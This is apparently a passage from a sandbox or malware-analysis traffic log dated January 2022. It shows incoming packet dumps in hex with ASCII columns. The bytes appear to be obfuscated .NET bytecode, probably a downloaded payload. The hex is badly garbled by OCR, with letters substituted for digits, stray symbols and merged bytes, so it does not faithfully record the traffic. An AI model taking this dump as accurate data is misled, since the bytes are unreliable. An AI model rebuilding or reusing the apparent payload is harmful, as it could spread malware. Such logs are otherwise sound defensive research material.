00 00 00 fe Oe 51 00 38 f3 e5 ff ff fe Oc 05 00 20 05 00 00 00 fe Oc 1a 00 9¢ 20 4d 01 00 00 28 1e 01 00 06 39 da €5 ff ff 26
20 66 01 00 00 38 cf e5 ff ff 20 66 00 00 00 20 03 00 00 00 58 fe Oe Oe 00 20 ¢7 00 00 00 38 b6 €5 ff ff fe Oc 05 00 20 0f 00
00 00 20 65 00 00 00 20 65 00 00 00 58 9c 20 87 01 00 00 fe Oe 51 00 38 8F e5 ff ff 7f 52 00 00 04 28 72 00 00 Oa 28 17
01 00 06 13 35 20 69 02 00 00 38 78 €5 ff ff fe Oc 0a 00 20 1c 00 00 00 20 af 00 00 00 20 3a 00 00 00 59 9¢ 20 1e 00 00
00 38 59 e5 ff ff 1f 38 17 28 ce 00 00 06 28 fc 00 00 06 28 fd 00 00 06 13 50 20 01 02 00 00 fe Oe 51 00 38 33 €5 ff ff 16 13
23 20 45 01 00 00 38 2a €5 ff ff fe
Data Ascii: 8 N8~f((X cQ8 M(9& f8f X 8 e eX Q8R(r(5 i8x :Y 8YS(((P Q83# E8*

2022-01-14 03:59:13 UTC 16 IN Data Raw: 20 02 00 00 00 fe Oc Oe 00 9¢ 20 35 00 00 00 28 1f 01 00 06 39 b6 €0 ff ff 26 20 02 00 00 00 38 ab €0 ff ff 20 d6
00 00 00 20 47 00 00 00 59 fe Oe 1a 00 20 41 01 00 00 38 92 €O ff ff 11 75 11 20 17 58 11 07 17 91 9c 20 e4 01 00 00 38
7d e0 ff ff fe Oc 0a 00 20 17 00 00 00 fe Oc 40 00 9c 20 67 02 00 00 38 65 €0 ff ff 11 27 11 78 19 58 91 1f 18 62 11 27 11
78185891 1f 10 62 60 11 27 11 78 17 58 91 1e 62 60 11 27 11 78 91 60 13 00 20 4c 00 00 00 38 34 0 ff ff 20 6f 00 00
00 20 4f 00 00 00 58 fe Oe 40 00 20 f1 01 00 00 28 1f 01 00 06 39 16 €0 ff ff 26 20 d7 00 00 00 38 Ob €0 ff ff 20 10 00 00
00 20 0d 00 00 00 58 fe Oe 40 00 20 dd 00 00 00 38 f2 df ff ff 20 7 00 00 00 20 4d 00 00 00 59 fe Oe 40 00 20 ad 00 00 00
38 d9 df ff ff fe Oc 0a 00 20 1c 00 00 00
Data Ascii: 5(9& 8 GY A8u X 8} @ g8e'xXb'xXb'xXb™'x L84 0 OX@ (9& 8 X@ 8 MY@ 8
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Timestamp transferred Direction Data

2022-01-14 03:59:13 UTC 18 IN Data Raw: b7 00 00 00 28 1f 01 00 06 3a 68 db ff ff 26 20 60 02 00 00 38 5d db ff ff fe Oc 0a 00 20 11 00 00 00 20 aa 00 00

00 20 38 00 00 00 59 9¢ 20 db 01 00 00 38 3e db ff ff 11 4f 11 18 1a 5a 11 09 12 09 28 b0 00 00 06 26 20 9c 02 00 00 38
24 db ff ff 7e 4e 00 00 04 28 Oc 01 00 06 13 19 20 e5 00 00 00 38 Oe db ff ff 11 60 11 53 3f b1 17 00 00 20 1f 02 00 00 38
fb da ff ff fe Oc 05 00 20 Oa 00 00 00 20 87 00 00 00 20 2d 00 00 00 59 9¢ 20 81 00 00 00 38 dc da ff ff 11 75 11 1d 1b 58
11 31 1b 91 9¢ 20 16 01 00 00 28 1f 01 00 06 39 c2 da ff ff 26 20 02 01 00 00 38 b7 da ff ff 16 13 6e 20 79 00 00 00 28 1f
01 00 06 3a a5 da ff ff 26 20 2f 01 00 00 38 9a da ff ff 20 9e 00 00 00 20 34 00 00 00 59 fe Oe Oe 00 20 86 02 00 00 28 1e
01 00 06 3a 7c da ff ff 26 20 e4 01 00

Data Ascii: (:h& "8] 8Y 8>0Z(& 8$~N(8'S? 8 -Y 8uX1 (9&8ny(:&/8 4Y (:|&

2022-01-14 03:59:13 UTC 19 IN Data Raw: f4 00 00 06 25 17 28 f5 00 00 06 11 27 11 13 28 f6 00 00 06 13 3d 20 88 02 00 00 38 fd d5 ff ff fe Oc Oa 00 20
02 00 00 00 fe Oc 40 00 9¢ 20 52 01 00 00 38 e5 d5 ff ff 11 4¢c 73 76 00 00 Oa 28 d4 00 00 06 1f 40 12 67 28 b0 00 00 06
26 20 59 01 00 00 38 c5 d5 ff ff 20 3e 00 00 00 20 5f 00 00 00 58 fe Oe Oe 00 20 16 00 00 00 28 1e 01 00 06 39 a7 d5 ff ff
26 20 a7 01 00 00 38 9c d5 ff ff fe Oc 05 00 20 01 00 00 00 fe Oc 1a 00 9¢ 20 76 02 00 00 38 84 d5 ff ff 38 04 26 00 00 20
eb 01 00 00 38 75 d5 ff ff fe Oc 05 00 20 0d 00 00 00 fe Oc 2¢ 00 9¢ 20 13 00 00 00 28 1e 01 00 06 39 58 d5 ff ff 26 20 40
01 00 00 38 4d d5 ff ff 11 23 13 23 20 f4 01 00 00 38 3f d5 ff ff 11 75 11 1d 1c 58 11 31 1c 91 9c 20 85 00 00 00 38 2a d5 ff
ff fe Oc 05 00 20 00 00 00 00 20 97 00
Data Ascii: %('(= 8 @ R8Lsv(@g(& Y8 > _X (9& 8 v88& 8u, (9X& @8M## 8?uX1 8*

2022-01-14 03:59:13 UTC 20 IN Data Raw: 00 00 20 47 00 00 00 59 9c 20 6b 00 00 00 38 b1 do ff ff 11 6d 28 f3 00 00 06 13 48 20 34 00 00 00 28 1f 01 00
06 39 99 dO ff ff 26 20 11 00 00 00 38 8e dO ff ff 28 d3 00 00 06 20 a5 01 00 00 38 7f dO ff ff 11 13 1f 0d 11 58 1c 91 9c 20
14 00 00 00 28 1e 01 00 06 39 67 dO ff ff 26 20 36 02 00 00 38 5¢ dO ff ff 11 75 11 1d 18 58 11 07 18 91 9c 20 2b 00 00 00
28 1f 01 00 06 3a 42 dO ff ff 26 20 3a 00 00 00 38 37 dO ff ff 00 11 36 28 d7 00 00 06 28 d8 00 00 06 13 62 20 01 00 00 00
28 1f 01 00 06 39 Of 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe Oc 4e 00 45 02 00 00 00 31 02 00 00 05 00 00 00 38 2¢
02 00 00 00 38 74 00 00 00 20 02 00 00 00 38 04 00 00 00 fe Oc 2b 00 45 0a 00 00 00 39 00 00 00 09 01 00 00 89 00 00
00 d0 00 00 00 14 00 00 00 5f 00 00 00 05 00
Data Ascii: GY k8m(H 4(9& 8( 8X (99& 68\uX +(:B& :876((b (9& BNE18,8t 8+E9_

2022-01-14 03:59:13 UTC 22 IN Data Raw: 01 00 00 00 38 b8 ff ff ff 16 13 57 20 05 00 00 00 38 ab ff ff ff 12 5d 28 72 00 00 Oa 7e 6b 00 00 04 40 bc ff ff ff
20 02 00 00 00 38 90 ff ff ff 38 47 00 00 00 20 00 00 00 00 28 1f 01 00 06 3a 7c ff ff ff 26 20 00 00 00 00 38 71 ff ff ff 11 62
28 d9 00 00 06 74 52 00 00 01 28 d0 00 00 06 13 5d 20 04 00 00 00 28 1f 01 00 06 39 4f ff f ff 26 20 00 00 00 00 38 44 ff f
f ff dd 9a 00 00 00 11 62 75 55 00 00 01 13 3a 20 02 00 00 00 28 1f 01 00 06 39 0f 00 00 00 26 20 01 00 00 00 38 04 00 O
0 00 fe Oc 5a 00 45 03 00 00 00 05 00 00 00 47 00 00 00 26 00 00 00 38 00 00 00 00 11 3a 28 e5 00 00 06 20 01 00 00 00
28 1f 01 00 06 3a d4 ff ff ff 26 20 01 00 00 00 38 c9 ff ff ff 11 3a 39 1a 00 00 00 20 00 00 00 00 28 1f 01 00 06 3a b3 ff ff ff
26 20 00 00 00 00 38 a8 ff
Data Ascii: 8W 8](r~k@ 88G (:|& 8gb(tR(] (90& 8DbuU: (9& 8ZEG&8:( (:& 8:9 (:& 8

2022-01-14 03:59:13 UTC 23 IN Data Raw: 00 20 bc 00 00 00 20 3e 00 00 00 59 9¢ 20 77 00 00 00 28 1f 01 00 06 3a f6 c5 ff ff 26 20 7d 00 00 00 38 eb c5
ff ff fe Oc Oa 00 20 Of 00 00 00 fe Oc 40 00 9c 20 aa 01 00 00 38 d3 c5 ff ff 12 08 e0 73 71 00 00 Oa 16 7e Oa 00 00 Oa 28
€8 00 00 06 20 55 00 00 00 38 b6 c5 ff ff fe Oc 0a 00 20 06 00 00 00 fe Oc Oe 00 9¢ 20 d5 00 00 00 28 1e 01 00 06 3a 99
c5 ff ff 26 20 c6 00 00 00 38 8e c5 ff ff fe Oc 05 00 20 00 00 00 00 fe Oc 2¢ 00 9¢ 20 96 00 00 00 38 76 c5 ff ff fe Oc 0a 00
20 04 00 00 00 fe Oc Oe 00 9c 20 75 01 00 00 38 5e c5 ff ff 11 4b 20 f1 f2 f3 f4 40 8d e6 ff ff 20 96 01 00 00 38 48 c5 ff ff 20
ea 00 00 00 20 4e 00 00 00 59 fe Oe Oe 00 20 93 02 00 00 38 2f c5 ff ff 20 1a 00 00 00 20 3f 00 00 00 58 fe Oe 1a 00 20 c4
00 00 00 38 16 c5 ff ff 14 13 3b
Data Ascii: >Y w(:& }8 @ 8sg~( U8 (:& 8, 8v u8"K @ 8H NY 8/ ?X8;

2022-01-14 03:59:13 UTC 24 IN Data Raw: 00 06 11 Oc 28 dd 00 00 06 28 €0 00 00 06 11 Oc 28 dd 00 00 06 28 e1 00 00 06 73 78 00 00 0a 13 76 20 04 00
00 00 28 1f 01 00 06 39 23 fe ff ff 26 20 04 00 00 00 38 18 fe ff ff 11 76 11 77 28 €2 00 00 06 3a 79 fe ff ff 20 09 00 00 00
fe Oe 52 00 38 f8 fd f ff dd df 09 00 00 11 62 75 55 00 00 01 13 3a 20 03 00 00 00 38 04 00 00 00 fe Oc 42 00 45 04 00 00
00 26 00 00 00 66 00 00 00 47 00 00 00 05 00 00 00 38 21 00 00 00 11 3a 3a 1a 00 00 00 20 00 00 00 00 28 1e 01 00 06
39 dO ff ff ff 26 20 02 00 00 00 38 c5 ff ff ff 11 3a 28 €5 00 00 06 20 01 00 00 00 28 1f 01 00 06 39 af ff ff ff 26 20 00 00 00
00 38 ad ff ff ff 38 1a 00 00 00 20 00 00 00 00 28 e 01 00 06 39 90 ff ff ff 26 20 00 00 00 00 38 85 ff ff ff dc 20 b3 01 00 00
28 1f 01 00 06 3a bb bf ff ff 26
Data Ascii: ((((sxv (9#& 8vw(;y R8buU: 8BE&IGS!:: (9& 8:( (9& 88 (9& 8 (:&

2022-01-14 03:59:13 UTC 26 IN Data Raw: 00 00 58 9c¢ 20 8b 01 00 00 28 1e 01 00 06 39 4d bb ff ff 26 20 68 02 00 00 38 42 bb ff ff fe Oc 0Oa 00 20 Oc 00
00 00 20 77 00 00 00 20 14 00 00 00 58 9c 20 be 00 00 00 28 1f 01 00 06 3a 1e bb ff ff 26 20 9d 01 00 00 38 13 bb ff ff 11
1b 17 1f 6¢ 9¢ 20 97 01 00 00 38 03 bb ff ff fe Oc 05 00 20 04 00 00 00 20 4e 00 00 00 20 18 00 00 00 59 9c 20 Oe 00 00
00 28 1f 01 00 06 3a df ba ff ff 26 20 97 00 00 00 38 d4 ba ff f fe Oc 0Oa 00 20 09 00 00 00 fe Oc 40 00 9¢ 20 cb 00 00 00
28 1f 01 00 06 39 b7 ba ff ff 26 20 7c 00 00 00 38 ac ba ff ff fe Oc 05 00 20 08 00 00 00 20 7f 00 00 00 20 2a 00 00 00 59
9c 20 32 02 00 00 38 8d ba ff ff fe Oc 0a 00 20 00 00 00 00 20 de 00 00 00 20 4a 00 00 00 59 9¢ 20 2¢ 01 00 00 38 6e ba ff
ff 20 18 00 00 00 20 Of 00 00 00 59 fe Oe
Data Ascii: X (OM& h8B w X (:& 818 NY (&8 @ (9& (8 *Y 28 JY ,8n Y

2022-01-14 03:59:13 UTC 27 IN Data Raw: fe Oc 0a 00 20 15 00 00 00 fe Oc Oe 00 9¢ 20 19 00 00 00 28 e 01 00 06 39 ea b5 ff ff 26 20 15 01 00 00 38 df
b5 ff ff 1f 10 13 20 20 57 02 00 00 38 d1 b5 ff ff 28 05 01 00 06 11 1b 28 06 01 00 06 13 21 20 29 01 00 00 38 b9 b5 ff ff fe
0c 05 00 20 09 00 00 00 fe Oc 1a 00 9¢ 20 46 01 00 00 fe Oe 51 00 38 99 b ff ff 20 8d 00 00 00 20 2f 00 00 00 59 fe Oe 2¢
00 20 60 00 00 00 28 1f 01 00 06 39 7 b5 ff ff 26 20 25 00 00 00 38 74 b ff ff fe Oc 05 00 20 Oe 00 00 00 20 26 00 00 00
20 15 00 00 00 59 9¢ 20 2e 00 00 00 38 55 b5 ff ff 20 eb 00 00 00 20 4e 00 00 00 59 fe Oe 1a 00 20 21 00 00 00 28 1f 01
00 06 3a 37 b5 ff ff 26 20 a4 00 00 00 38 2c b5 ff ff 7e 0a 00 00 Oa 13 26 20 6b 00 00 00 28 1e 01 00 06 39 16 b5 ff ff 26
20 d1 00 00 00 38 Ob b5 ff ff fe Oc 0a
Data Ascii; (9& 8 W8((1)8 FQ8 /Y, “(9& %8t &Y .8U NY !(:7& 8,~& K(9& 8

2022-01-14 03:59:13 UTC 28 IN Data Raw: ff fe Oc 0a 00 13 27 20 a2 01 00 00 38 9d b0 ff ff 11 75 11 1d 18 58 11 31 18 91 9c¢ 20 02 01 00 00 28 1e 01 00
06 3a 83 hO ff ff 26 20 1c 00 00 00 38 78 b0 ff ff 20 2f 00 00 00 20 6a 00 00 00 58 fe Oe 40 00 20 6¢ 00 00 00 fe Oe 51 00
38 57 bO ff ff fe Oc 05 00 20 08 00 00 00 fe Oc 1a 00 9¢ 20 25 00 00 00 28 1f 01 00 06 39 3e b0 ff ff 26 20 18 00 00 00 38
33 b0 ff ff 20 b7 00 00 00 20 3d 00 00 00 59 fe Oe Oe 00 20 ed 00 00 00 38 1a b0 ff ff 11 3¢ 1a e 12 09 28 b0 00 00 06 26
20 0f 01 00 00 28 1f 01 00 06 3a ff af ff ff 26 20 63 01 00 00 38 f4 af ff ff 20 61 00 00 00 20 02 00 00 00 58 fe Oe Oe 00 20
28 01 00 00 38 db af ff ff 11 75 16 11 46 11 75 8e 69 28 cc 00 00 06 20 58 02 00 00 fe Oe 51 00 38 bb af ff ff 28 d4 00 00 0
6 1a 3b 2a d6 ff ff 20 03 00 00 00
Data Ascii: ' 8uX1 (:& 8x / X@ IQ8W 96(9>& 83 =Y 8<(& (:& c8 a X (8uFui( XQ8(;*

2022-01-14 03:59:13 UTC 30 IN Data Raw: 38 50 ab ff ff fe Oc 0a 00 20 18 00 00 00 fe Oc 40 00 9¢ 20 f1 00 00 00 28 1e 01 00 06 3a 33 ab ff ff 26 20 d4 00
00 00 38 28 ab ff ff 7e 4d 00 00 04 3a 22 c4 ff ff 20 ea 00 00 00 38 14 ab ff ff fe Oc 0Oa 00 20 03 00 00 00 fe Oc 40 00 9c 20
69 01 00 00 28 1e 01 00 06 3a f7 aa ff ff 26 20 66 01 00 00 38 ec aa ff ff 20 7d 00 00 00 20 5e 00 00 00 59 fe Oe Oe 00 20
d2 00 00 00 fe Oe 51 00 38 cb aa ff ff 2a 00 20 26 02 00 00 fe Oe 51 00 38 bb aa ff ff fe Oc 05 00 20 04 00 00 00 20 30 00
00 00 20 3e 00 00 00 58 9c 20 7a 00 00 00 38 a0 aa ff ff fe Oc 05 00 20 02 00 00 00 fe Oc 2¢ 00 9c 20 99 02 00 00 28 le
01 00 06 3a 83 aa ff ff 26 20 7b 01 00 00 38 78 aa ff ff 20 00 1e 00 00 13 57 20 38 00 00 00 28 1f 01 00 06 3a 62 aa ff ff 26
20 48 00 00 00 38 57 aa ff ff fe
Data Ascii: 8P @ (:3& 8(~M:" 8 @ i(:& f8 } 'Y Q8* &Q8 0 >X z8 , (:& {8x W 8(:h& H8W
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Timestamp transferred Direction Data

2022-01-14 03:59:13 UTC 31 IN Data Raw: 00 38 04 00 00 00 fe Oc 2f 00 45 01 00 00 00 05 00 00 00 38 00 00 00 00 dd 37 02 00 00 26 20 00 00 00 00 28
1e 01 00 06 39 Of 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe Oc 37 00 45 02 00 00 00 05 00 00 00 d9 00 00 00 38 00 00
0000 00 11 2a 73 76 00 00 Oa d0 2e 00 00 02 28 03 01 00 06 28 08 01 00 06 13 28 20 00 00 00 00 28 1e 01 00 06 39 Of
00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe Oc 61 00 45 02 00 00 00 05 00 00 00 3f 00 00 00 38 00 00 00 00 dO 2e 00
00 02 28 03 01 00 06 11 28 28 10 01 00 06 28 11 01 00 06 74 2e 00 00 02 80 5¢ 00 00 04 20 01 00 00 00 28 1e 01 00 06
3a bf ff ff f 26 20 00 00 00 00 38 b4 ff ff ff dd 4c 00 00 00 26 20 00 00 00 00 28 1e 01 00 06 3a Of 00 00 00 26 20 00 00 00
00 38 04 00 00 00 fe Oc 29 00 45 01 00 00 00 05 00 00 00 38
Data Ascii: 8/E87& (9& 87E8*sv.((( (9& 8aE?8.((((t.\ (:& BL& (:& 8)E8

2022-01-14 03:59:13 UTC 32 IN Data Raw: 00 28 1e 01 00 06 39 98 a0 ff ff 26 20 3a 01 00 00 38 8d ao0 ff ff fe Oc 05 00 13 13 20 07 00 00 00 38 7d ao ff ff
11 6d 28 f3 00 00 06 13 17 20 49 01 00 00 38 6a a0 ff ff 28 05 01 00 06 11 72 28 06 01 00 06 13 1e 20 14 00 00 00 28 1e
01 00 06 3a 4d a0 ff ff 26 20 08 00 00 00 38 42 a0 ff ff fe Oc 0a 00 20 11 00 00 00 20 14 00 00 00 20 76 00 00 00 58 9¢ 20
82 00 00 00 28 1e 01 00 06 39 1e ao ff ff 26 20 e5 01 00 00 38 13 a0 ff ff fe Oc 0a 00 20 15 00 00 00 20 c4 00 00 00 20 41
00 00 00 59 9c 20 61 00 00 00 28 1f 01 00 06 39 ef of ff ff 26 20 35 00 00 00 38 e4 9f ff ff 7e 66 00 00 04 28 ef 00 00 06 16
9a 28 f0 00 00 06 13 5d 20 fc 00 00 00 38 c7 9f ff ff 20 63 00 00 00 20 6b 00 00 00 58 fe Oe Oe 00 20 74 01 00 00 28 1le 01
00 06 39 a9 9f ff ff 26 20 31 02 00
Data Ascii: (9& :8 8}m( 18j(r( (M& 8B vX (9& 8 AY a(9& 58~f((] 8 ¢ kX t(9& 1

2022-01-14 03:59:13 UTC 34 IN Data Raw: 20 0a 00 00 00 fe Oc 40 00 9c¢ 20 2c 01 00 00 28 1f 01 00 06 3a 89 9b ff ff 26 20 0d 02 00 00 38 7e 9b ff ff fe Oc
0a 00 20 0Oa 00 00 00 20 b3 00 00 00 20 3b 00 00 00 59 9¢ 20 3c 00 00 00 28 1f 01 00 06 39 5a 9b ff ff 26 20 2c 00 00 00
38 4f9b ff ff 11 75 11 1d 1d 58 11 35 1d 91 9c¢ 20 75 02 00 00 38 3a 9b ff ff 18 13 1d 20 f3 01 00 00 38 2d 9b ff ff 11 6d 28
3 00 00 06 26 20 8f 01 00 00 38 1b 9b ff ff 7e 5¢c 00 00 04 28 10 01 00 06 28 19 01 00 06 28 1a 01 00 06 20 8e 01 00 00
38 fd 9a ff ff 11 21 28 ab 00 00 06 13 16 20 50 01 00 00 28 1f 01 00 06 3a e5 9a ff ff 26 20 e0 01 00 00 38 da 9a ff ff 20 b4
00 00 00 20 51 00 00 00 59 fe Oe Oe 00 20 9a 00 00 00 38 c1 9a ff ff 11 72 18 1f 74 9c 20 13 00 00 00 28 1e 01 00 06 3a
ac 9a ff ff 26 20 0Oe 00 00 00 38 al 9a
Data Ascii: @ ,(:& 8~ ;Y <(9Z& ,80uX5 u8: 8-m(& 8~\((( 8!( P(:& 8 QY 8rt (:& 8

2022-01-14 03:59:13 UTC 35 IN Data Raw: dd 6f 00 00 00 dd 06 00 00 00 26 dd 00 00 00 00 00 02 6f 74 00 00 Oa 72 f7 Of 00 70 6f 7e 00 00 Oa 02 16 8d Oa
00 00 01 6f 7f 00 00 Oa 6f 75 00 00 Oa 28 7a 00 00 Oa 39 27 00 00 00 02 6f 74 00 00 Oa 72 f7 Of 00 70 6f 7e 00 00 Oa 02 16
8d 0a 00 00 01 6f 7f 00 00 Oa 6f 75 00 00 Oa Oa dd 11 00 00 00 dd 06 00 00 00 26 dd 00 00 00 00 72 01 00 00 70 2a 06 2a
00 01 28 00 00 00 00 00 00 2b 2b 00 06 0a 00 00 01 00 00 32 00 5d 8f 00 06 0a 00 00 01 00 00 96 00 57 ed 00 06 Oa 00
00 01 13 30 05 00 4f 00 00 00 00 00 00 00 7e 59 00 00 04 3a 37 00 00 00 28 b3 00 00 06 72 09 10 00 70 28 62 00 00 Oa
7215 10 00 70 28 80 00 00 Oa 28 ac 00 00 06 d0 32 00 00 02 28 23 00 00 Oa 28 81 00 00 Oa 74 32 00 00 02 80 59 00 00
04 7e 59 00 00 04 02 03 04 6f 41 01 00 06 2a 00 13 30 06 00
Data Ascii: 0&otrpo~00ou(z9'otrpo~00ou&rp**(++2]W00~Y:7(rp(brp((2(#(t2Y~Y0A*0

2022-01-14 03:59:13 UTC 36 IN Data Raw: 18 8d 16 00 00 01 25 16 17 9c 25 17 18 9c 2a 00 00 00 72 72 0Of 11 00 70 6f 61 00 00 Oa 16 26 26 18 8d 16 00
0001 25 16 17 9¢ 25 17 18 9¢ 2a 00 00 00 72 72 43 11 00 70 6f 61 00 00 Oa 16 26 26 18 8d 16 00 00 01 25 16 17 9c 25
17 18 9c 2a 00 00 00 72 72 77 11 00 70 6f 61 00 00 Oa 16 26 26 18 8d 16 00 00 01 25 16 17 9c 25 17 18 9¢ 2a 00 00 00
1330 02 00 02 00 00 00 18 00 00 11 14 2a 00 00 13 30 02 00 02 00 00 00 18 00 00 11 14 2a 00 00 72 72 ab 11 00 70 6f 6
1 00 00 0a 16 26 26 18 8d 16 00 00 01 25 16 17 9c¢ 25 17 18 9¢ 2a 00 00 00 72 72 df 11 00 70 6f 61 00 00 Oa 16 26 26 18
8d 16 00 00 01 25 16 17 9¢ 25 17 18 9¢ 2a 00 00 00 13 30 02 00 02 00 00 00 19 00 00 11 14 2a 00 00 13 30 02 00 02 00
00 00 19 00 00 11 14 2a 00 00 Oa 17 2a 00 3e 00 fe 09 00 00 fe 09 01
Data Ascii: %%*rrpoa&&%%*rrCpoa&&%%*rrwpoa&&%%*0*0*rrpoa&&%%*rrpoa&&%%*0*0**>

2022-01-14 03:59:13 UTC 38 IN Data Raw: 00 00 Oa 2a 00 2e 00 fe 09 00 00 28 be 00 00 Oa 2a 2e 00 fe 09 00 00 28 bf 00 00 Oa 2a 2a fe 09 00 00 6f cO 00
00 Oa 2a 00 2e 00 fe 09 00 00 28 c1 00 00 Oa 2a 3e 00 fe 09 00 00 fe 09 01 00 28 25 00 00 Oa 2a Se 00 fe 09 00 00 fe 09
01 00 fe 09 02 00 fe 09 03 00 28 ae 00 00 06 2a 3e 00 fe 09 00 00 fe 09 01 00 28 c2 00 00 Oa 2a 16 14 14 fe 01 2a 00 00
0a 14 2a 00 1a 28 a9 00 00 06 2a 00 12 00 00 00 2a 00 00 00 1a 28 a9 00 00 06 2a 00 12 00 00 00 2a 00 00 00 12 00 00
17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 a9 00 00 06 2a 00 13 30 07 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00
00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 4e
02 28 09 00 00 Oa 02 03 73 3¢ 00 00 Oa 7d 73 00 00 04 2a 32 02
Data ASC" *.(*.(**0*.(*>(%*A(*>(***(**(****(*0***(*(*(*N(S<}S*2

2022-01-14 03:59:13 UTC 39 IN Data Raw: 25 00 00 b4 23 00 00 5e 00 00 00 c8 29 00 00 bb 1f 00 00 f5 16 00 00 2¢ 11 00 00 97 1b 00 00 27 01 00 00 3a
1f 00 00 52 19 00 00 99 25 00 00 8f 14 00 00 12 25 00 00 0d 11 00 00 15 06 00 00 b1 13 00 00 28 30 00 00 a5 1d 00 00
1d 00 00 00 f8 1e 00 00 bd 03 00 00 da 1b 00 00 e6 00 00 00 ed 22 00 00 e1 07 00 00 9d 0d 00 00 7c 21 00 00 a8 2b 00
00 8¢ 1d 00 00 9f 1a 00 00 87 20 00 00 77 24 00 00 8 18 00 00 6d 03 00 00 9b Oe 00 00 4d 26 00 00 8b 18 00 00 09 10 00
00 76 06 00 00 ad 26 00 00 6f 29 00 00 3d 22 00 00 8f 06 00 00 f5 12 00 00 f4 2a 00 00 b7 28 00 00 31 06 00 00 32 02 00
00 5d 0d 00 00 02 25 00 00 b3 Oe 00 00 {7 Oc 00 00 df 04 00 00 d5 03 00 00 16 Oc 00 00 24 2e 00 00 75 0d 00 00 7a 2a 00
00 c2 0f 00 00 1d 17 00 00 e7 08 00 00 8a 07 00 00 66 26 00 00
Data Ascii: %#"),"R%%(0"|!+ wSmM&v&0)="*(12]%$.uz*f&

2022-01-14 03:59:13 UTC 40 IN Data Raw: ff 20 86 00 00 00 20 63 00 00 00 59 fe Oe 28 00 20 42 00 00 00 38 €3 f6 ff ff fe Oc Oe 00 20 15 00 00 00 fe Oc 29
00 9c 20 48 01 00 00 28 73 01 00 06 39 c6 16 ff f 26 20 59 01 00 00 38 bb 16 ff ff 20 5¢ 00 00 00 20 46 00 00 00 58 fe Oe
29 00 20 19 00 00 00 28 73 01 00 06 3a 9d f6 ff ff 26 20 19 00 00 00 38 92 16 ff ff 11 2a 11 03 58 13 2a 20 60 01 00 00 28
73 01 00 06 3a 7c f6 ff ff 26 20 f2 00 00 00 38 71 6 ff ff fe Oc Oe 00 20 06 00 00 00 20 9e 00 00 00 20 58 00 00 00 58 Ic 20
5e 00 00 00 38 52 f6 ff ff fe Oc Oe 00 20 04 00 00 00 20 e4 00 00 00 20 4c 00 00 00 59 9¢ 20 5d 01 00 00 38 33 6 ff ff fe Oc
11 00 20 Oe 00 00 00 fe Oc 28 00 9c 20 29 01 00 00 38 1b f6 ff ff 20 53 00 00 00 20 09 00 00 00 58 fe Oe 29 00 20 ae 00 00
00 38 02 f6 ff ff fe Oc Oe 00
Data Ascii: cY(B8) H(s9& Y8 \ FX) (s:& 8*X* '(s:|& 8q XX 78R LY 83 ()8SX) 8

2022-01-14 03:59:13 UTC 42 IN Data Raw: 00 00 38 9d f1 ff ff 11 Ob 11 1d 5d 13 0d 20 15 00 00 00 fe Oe 20 00 38 84 f1 ff ff fe Oc Oe 00 20 18 00 00 00 fe
0c 29 00 9c 20 9b 00 00 00 38 70 f1 ff ff fe Oc Oe 00 20 11 00 00 00 fe Oc 29 00 9¢ 20 50 00 00 00 28 74 01 00 06 39 53 f1
ff ff 26 20 29 00 00 00 38 48 f1 ff f 20 7a 00 00 00 20 1c 00 00 00 58 fe Oe 29 00 20 02 00 00 00 28 74 01 00 06 3a 2a f1 ff
f 26 20 Ob 00 00 00 38 1 f1 f ff fe Oc Oe 00 20 00 00 00 00 20 20 00 00 00 20 62 00 00 00 58 9¢ 20 1f 00 00 00 28 74 01
00 06 39 fb 0 ff ff 26 20 1c 00 00 00 38 fO fO ff ff fe Oc Oe 00 20 10 00 00 00 fe Oc 29 00 9c 20 03 01 00 00 38 d8 O ff ff 20
cc 00 00 00 20 44 00 00 00 59 fe Oe 29 00 20 1a 01 00 00 38 bf 0 ff ff fe Oc 11 00 20 03 00 00 00 fe Oc 28 00 9¢ 20 9d 00
00 00 28 73 01 00 06 3a a2
Data Ascii: 8] 8) 8p ) P(t9S& )8H z X) (t*&8 bX (19& 8) 8 DY) 8 ( (s:

2022-01-14 03:59:13 UTC 43 IN Data Raw: ff fe Oc Oe 00 20 0a 00 00 00 fe Oc 29 00 9c 20 3f 00 00 00 28 74 01 00 06 39 2d ec ff ff 26 20 30 00 00 00 38
22 ec ff ff 20 b3 00 00 00 20 3b 00 00 00 59 fe Oe 29 00 20 f6 00 00 00 28 73 01 00 06 3a 04 ec ff ff 26 20 16 00 00 00 38
9 eb ff ff fe Oc 11 00 20 02 00 00 00 fe Oc 28 00 9¢ 20 54 01 00 00 38 el eb ff ff fe Oc Oe 00 20 19 00 00 00 20 fc 00 00 00
20 54 00 00 00 59 9c 20 25 01 00 00 fe Oe 20 00 38 ba eb ff ff fe Oc Oe 00 20 03 00 00 00 20 da 00 00 00 20 48 00 00 00
59 9¢ 20 03 01 00 00 28 73 01 00 06 39 9a eb ff ff 26 20 2a 01 00 00 38 8f eb ff ff 11 06 8e 69 1a 5d 13 05 20 77 01 00 00
38 7d eb ff ff fe Oc 11 00 20 Oc 00 00 00 fe Oc 28 00 9c 20 e7 00 00 00 38 65 eb ff ff 20 f5 00 00 00 20 51 00 00 00 59 fe Oe
29 00 20 7e 01 00 00 28 73 01 00 06
Data Ascii: ) ?(t9-& 08" ;Y) (s:& 8 (T8 TY %8 HY (s9& *8i] w8} ( 8e QY) ~(s
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Timestamp transferred Direction Data

2022-01-14 03:59:13 UTC 44 IN Data Raw: ee e6 ff ff 26 20 06 00 00 00 38 e3 e6 ff ff 20 dd 00 00 00 20 49 00 00 00 59 fe Oe 29 00 20 5f 00 00 00 38 ca e6
ff ff fe Oc Oe 00 20 13 00 00 00 fe Oc 29 00 9c 20 65 01 00 00 38 b2 e6 ff ff fe Oc 0e 00 20 03 00 00 00 20 a8 00 00 00 20
38 00 00 00 59 9c 20 2b 01 00 00 28 73 01 00 06 3a 8e e6 ff ff 26 20 14 00 00 00 38 83 e6 ff ff 16 13 08 20 17 01 00 00 28
73 01 00 06 3a 71 e6 ff ff 26 20 82 00 00 00 38 66 e6 ff ff 20 65 00 00 00 20 3e 00 00 00 58 fe Oe 29 00 20 e5 00 00 00 28
